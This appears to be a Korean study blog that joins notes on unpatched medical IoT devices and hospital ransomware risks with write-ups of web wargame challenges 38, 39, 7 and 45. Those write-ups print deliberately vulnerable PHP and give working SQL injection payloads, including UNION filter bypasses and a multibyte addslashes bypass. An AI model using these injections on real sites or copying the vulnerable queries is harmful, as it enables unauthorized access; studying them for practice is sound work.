헬스케어 산업의 가장 큰 보안 위협은 ‘미패치 IoT 기기’ - ITWorld Korea
병원에서 사용하는 전형적인 의료용 IoT 기기인 정액 주입 펌프의 대다수가 환자의 안전, 데이터 기밀성, 서비스 기용성을 위태롭게 할 수 있는 취약점 적어도 하나씩은 보유
한 명의 환자에게 의료 기기 사용하려면 적어도 며칠이나 몇 주 중단 없이 사용해야 의료용 기기 절반 정도 리눅스 기반-> 리눅스 기반 시스템 표적으로 맞춤형 공격하는 사이버 공격자 다수
의료용 기기 정기적 업데이트 하지 않는 이유: 병원 네트워크 다양한 업체의 기기를 호스팅-> 각 기기의 패치 적용 및 업그레이트 절차 너무 복잡해 다운타임 기간 내 완료 어렵
스프레이 앤 프레이 방식(spray and pray): 마구 쏘고는 명중하기를 바라는
의료 산업 노리는 사이버 공격 중 가장 문제 되는 것이 랜섬웨어 -> 악성 프로그램이나 DDoS 공격도 빈번 + 몸값 요구 경우 존재
DDos 공격으로 운영 중단되는 것은 환자의 바이탈 추적 기기나 환자의 병력 및 치료 기록을 집계하는 시스템 + 중요한 정보 전달 수단인 이메일이나 VOIP 같은 통신 시스템도 중단 + 영상의학, 의학활영, 의료영상저장 전송시스템에 사용하는 기기와 스캐너, 정맥 주입 및 인슐린 펌프, 프린터 등도 제 기능 못 할 수도 있다
의료 분야에 가장 큰 위협이 되는 것 : IP 전화기 CVE
다양한 업체의 IoT 기기를 일일이 패치하는 것이 어렵기 때문에 이런 취약점을 완화하는 가장 효율적 방법은 네트워크 격리와 세분화 -> 연결 중단 없이 안전 보장 위해서는 기기의 동서 및 남북 간 통신 세분화한 네트워크 연결의 적절한 균형 필수적
#challenge 38


소스코드를 봤을 때 admin 으로 접속해야하는 것으로 보인다.

admin.php 로 로그인했을 때 로그인이 불가능하고 내 ip : admin 값으로 저장되는 걸 알 수 있다.



#challenge 39

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<?php
$db = dbconnect();
if($_POST['id']){
$_POST['id'] = str_replace("\\","",$_POST['id']);
$_POST['id'] = str_replace("'","''",$_POST['id']);
$_POST['id'] = substr($_POST['id'],0,15);
$result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
if($result[0] == 1){
solve(39);
}
}
?>
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
<a href=?view_source=1>view-source</a>
</body>
</html>
view-source를 클릭해 view-source 해준다. 소스코드를 살펴보면, post 방식으로 id를 입력받아야 실행됨을 알 수 있다. 또
$_POST['id'] = str_replace("\\","",$_POST['id']);
$_POST['id'] = str_replace("'","''",$_POST['id']);
$_POST['id'] = substr($_POST['id'],0,15);
에서 \ 는 없어지고 싱글쿼터(')는 더블쿼터로('') 바뀌고 15개의 문자만 가지고 오는 것을 알 수 있다.
if($_POST['id']){
$_POST['id'] = str_replace("\\","",$_POST['id']);
$_POST['id'] = str_replace("'","''",$_POST['id']);
$_POST['id'] = substr($_POST['id'],0,15);
$result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
mysql 함수를 통하여 id 길이가 14 미만, id=_POST[id]에서 id의 싱글쿼터가 제대로 닫혀있지 않는 것을 알 수 있다. 따라서 id 값 injection을 통해 문제를 푼다.

따라서 admin ’을 입력하면 ‘가 “로 변하게 되고 15번째 인덱스의 문자 까지만 입력 가능하기 때문에 admin ’으로 입력돼 풀리게 된다.

#challenge 7

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
/2|-|+|from|_|값은 필터링이 되고, go변수의 값이 val이 2가 되어야 문제가 해결된다. 따라서 union을 활용하여 문제를 풀어야 한다.
union : The UNION operator is used to combine the result-set of two or more SELECT statements. [w3schools]

val 값을 get 방식으로 받아 go 변수에 대입한다. val 값에 2를 넣었을 때 Access Denied! 문구가 나온다. 따라서 우회를 통해 val 값이 2가 되도록 입력해주어야 한다.
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)")
data=mysqli_fetch_array($result);
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
괄호 처리를 하면서 val값에 2를 넣기 위해 rand값이 1일 때를 노려 0)union(select(5%3)를 입력해준다.


새로고침을 계속해주다보면 문제가 풀리게 된다.
#challenge 45

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
addslashes():Add a backslash in front of each double quote (")
mb_convert_encoding 과정에서 magic_quotes_gpc 옵션이 발생해 \앞에 %a1부터 %fe 중 하나라도 붙는다면 하나의 문자가 되어버린다고 한다.
= 문자열이 필터링되고 있기 때문에 쿼리문을 hex값으로 인코딩하면 admin은 0x61646D696E 로 인코딩된다
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
mb_convert_encoding 함수의 취약점은 백슬래쉬 앞에 %a1부터 %fe의 값이 들어오면 인코딩이 깨지면서 백슬래시를 덮어 2바이트의 멀티바이트를 1바이트처럼 표현하는 취약점이 있다고 한다.

쿼리문 ‘||’id=’admin’#’를 admin은 hex 인코딩, 나머지는 url로 인코딩한 값인 ?id=%a1%27%7C%7Cid+like+0x61646D696E%23%bf%27&pw=guest를 입력해주면 된다. 이때 #는 주석처리를 위해 존재한다.